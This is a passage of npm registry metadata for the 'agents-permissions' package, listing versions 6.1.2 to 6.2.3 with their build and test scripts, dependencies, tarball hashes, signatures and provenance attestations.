'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.147.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^10.3.0"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.1.2_1787494736437_0.27470190277701123","host":"s3://npm-registry-packages-npm-production"}},"6.1.3":{"name":"agents-permissions","version":"6.1.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.1.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"bb2f6dbcdcc49c6cc47b1bbc52536ba902abb63a","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.1.3.tgz","fileCount":79,"integrity":"sha512-1idMGE0GRLAJA72nrUtTWlayENQTEMNULbENjl8B6aUDK318slpmhPYMJdfLs732o8wRR2jzygUXG/SJxYG60g==","signatures":[{"sig":"MEUCIGj1xAf+hxfu7g/FUSIdPhdSeWw52QcSbwQF+q6+yt65AiEA95hu5rKzESlFZ5iZJYlP1LqHhbiBfZtokZFBkGoh944=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.1.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":858962},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.147.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^10.3.0"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.1.3_1787496481935_0.24256724226795745","host":"s3://npm-registry-packages-npm-production"}},"6.1.4":{"name":"agents-permissions","version":"6.1.4","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.1.4","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"92f2373d7c2442a71a19e03bd3acde467c2bfc9b","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.1.4.tgz","fileCount":79,"integrity":"sha512-akeohk6AOjqAZ4zOWXsludUyIpl9F8HOn3PoBLcBbEAdYqh3rhEgdt/vebE5CwSc118Pv5JhhAoxI1e8U1mmBw==","signatures":[{"sig":"MEYCIQDDv33MwD+bYzZQ5thj8duVKaQog6avH+o/ri8jP/emuQIhAN5xphDsvzRGGIW/BtCWGiQFV1/PIwEkr2eSh8N8U0Z3","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.1.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":858962},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.147.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^10.3.0"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.1.4_1787504202771_0.6309681002546683","host":"s3://npm-registry-packages-npm-production"}},"6.2.0":{"name":"agents-permissions","version":"6.2.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.2.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"56487e6c42af9e674506c70b6af58a69747591e8","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.2.0.tgz","fileCount":125,"integrity":"sha512-TGe0E6RgfJwLkvzem59wqp7pzudnCgirzur9C16PcNV07LHo9gHtPpclLIQ9dLTh7nXmW7kUkHW0+0njM4+9TA==","signatures":[{"sig":"MEQCICJv/D9mdA6gxASMtNbBE5F+ZUhCF7kKanRtrPbK4+a4AiBxO8rb0HDlk1ZuutQQwWrvS8Heth/bwJjVgIlXN7c7tQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCcynMKEUDRxQCoEuaa1uBKPX4E/baGF1TpF+c3tTKp5AIhAPGJNZ13xcjwTHOcnUbzNsbZnlMtBDU6S7lQeBZx4eHQ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1434585},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.2.0_1790703466232_0.7119606304315309","host":"s3://npm-registry-packages-npm-production"}},"6.2.1":{"name":"agents-permissions","version":"6.2.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.2.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"fcbd08bd4932b26495a6ea2dbdccae53618e6fe5","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.2.1.tgz","fileCount":125,"integrity":"sha512-RUMBZP/3mMemhzSFX04KsVPypVozTUpo59r6+AJT5rulzolHh58OYmVL8w+5KJoojzKDBieF2SCcXNi/u/soSA==","signatures":[{"sig":"MEQCIEVDny+XB6rzklDAcH+jhF6UiS/jz1X3txYYEDr5Oi1+AiAL4kwNASBYs7BghlLHaHI+uea0DGTIRpvOfb6ry7aLpw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDC4wg7UXeZLZbsVyRFPnld9Gd7GhuZq7DCRkaqzGvSPQIgXjJ59JmN3amE9Nw/8UBGbj3oSZrWeA/S1yjXdyhHLX8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.2.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1434530},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.2.1_1790707197736_0.9573229616371233","host":"s3://npm-registry-packages-npm-production"}},"6.2.2":{"name":"agents-permissions","version":"6.2.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.2.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"cc803cf17eae964eab16cbf6be7ed2760016fe9a","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.2.2.tgz","fileCount":125,"integrity":"sha512-WVvwy5twOB70OGSE5ZKFFFaO8pSTJuR+ko9kXYf6DlezGUNX1Ya2mXzCHumWC4b/omkbWyh2AUGBo71G5wJF9Q==","signatures":[{"sig":"MEQCIDNuhop5ORV1Cj+Ukm/1x/qMMuHqxIqAeG/jEVp16v3+AiB5utC2g8A2jKCTtPV+J2E2ALLnJ/q4AD5i1KvHrY9DlQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQC9ibN3myJ/ZKOSb5DKUtJxR0WQwRVHjvNnhISnsubUqAIgKljWldLOLT+TnVrL9P8DXIbKO8tCg0wuDeILcOybC3Q=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.2.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1436450},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.2.2_1790708203722_0.41668020710356846","host":"s3://npm-registry-packages-npm-production"}},"6.2.3":{"name":"agents-permissions","version":"6.2.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.2.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"2a65d9d8a11d6c74472d90bf9b6850c3f400728b","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.2.3.tgz","fileCount":125,"integrity":"sha512-pSIjxOIgeCyw/dk1y/+Neip+mN2bI9hZgMTPfypfeO6LGRUAq+SfxVHB8jL/MyF4qEQl2XdBq+S+zD5+vj++uw==","signatures":[{"sig":"MEUCIQC9Pw+jnCxi6gdC1C8jQFe0Ao7MzkhiZ/SpVwZv+9xa7QIgSfZpqBnDyZ1ZlyYwiIkbHppQIcdKGSBxw75ZFzdrLuk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIELyi+VE7XhwGr0GRniGjbR10GRXu+XGQd21nUZTJR4hAiA2jvIP3tvsqEk5/iqiqVA1LSVNeA4WFlbRkBJKpcScsA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.2.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1448923},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding 